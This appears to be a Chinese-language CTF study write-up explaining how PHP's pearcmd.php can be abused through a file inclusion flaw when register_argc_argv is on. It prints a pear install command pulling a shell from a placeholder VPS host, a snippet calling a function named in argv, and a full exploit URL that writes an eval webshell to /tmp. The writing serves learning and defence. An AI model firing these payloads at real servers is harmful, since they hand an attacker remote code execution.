pearcmd.php在文件包含中的应用
前言
昨天参加了大学生信安比赛的半决赛,emm,一言难尽呀,真就坐牢八小时。但不管怎么说题目知识点还是要学习总结的,听大佬讲wp时说今年pearcmd.php做文件包含的题目都考烂了,但我作为菜鸡还没了解过,在这里学习一下这个知识点吧。
pearcmd.php
PEAR是为PHP扩展与应用库(PHP Extension and Application Repository),它是一个PHP扩展及应用的一个代码仓库 类似于composer,用于代码的下载与管理。
在这里我也尝试用虚拟机复现了下,我的路径是/usr/share/php/pearcmd.php pear可以用来拉取远程的代码
1 pear install -R /tmp http://vps/shell.php
但如果vps的php文件被解析的话就只能得到解析后的内容 要了解怎么利用这个文件去做包含,就先要了解他的原理
1、register_argc_argv
如果环境中含有php.ini,则默认register_argc_argv=Off;如果环境中没有php.ini,则默认register_argc_argv=On。这个参数开启用来获取外部参数 一般在命令行模式下无论是否开启这个参数都可以获取外部参数,但在web模式下,只有开启了register_argc_argv,才可以获取外部参数
在命令行模式下:
$_SERVER[‘argv’] #传递给该脚本的参数。
我们在kali里写一个名为test.php的文件,内容为: <?php var_dump($_SERVER['argv']); ?>
在命令行格式下调用,并传递三个参数:
在web模式下:
register_argc_argv未开启时: register_argc_argv开启时: 这里的+相当于命令行里的空格作为分隔符,而&只作为参数被传递
2、$_SERVER[‘argv’]的利用
$_SERVER[‘argv’]传参后面是有角标的,[0]代表第一个参数,[1]代表第二个参数,依次类推。那我们就可以写这样一段代码放到test.php中:
1
2
3
4
5 <?php
var_dump($_SERVER['argv']);
$a=$_SERVER['argv'];
$a[0]($a[1]);
?>
3、pearcmd.php文件的包含
当执行了pear后,会将$_SERVER[‘argv’]当作参数执行,如果存在文件包含漏洞,可以包含pearcmd.php,拉取vps上写好的shell到靶机 这里我kali里php7环境没太配置好,不小心把换源的文件删了,又把kali重新安装了一次(这里提一嘴,重装了好几次发现还是清华的kali源最好用),下载phpstudy集成环境安装了个php5.5.38的版本,路径跟正常装不太一样,是这个路径:/usr/local/phpstudy/soft/php/php-5.5.38/lib/php/pearcmd.php。用php调用一下可以看到pearcmd.php提供了很多可利用的参数 首先想到可以使用install方法,从外面将shell文件下载进来然后进行getshell,修改test文件如下进行测试:
下载成功后包含/tmp/tmp/pear/download/shell.php同时shell参数命令执行即可
4、当靶机不出网时
1 /test.php?+config-create+/&file=/usr/local/phpstudy/soft/php/php-5.5.38/lib/php/pearcmd.php&/<?=eval($_POST[shell]);?>+/tmp/shell.php
可以利用这个config-create方法写一个一句话到tmp目录下的shell.php里,然后访问shell.php蚁剑连接(一开始没连上,用bp重新发包上传才连接上)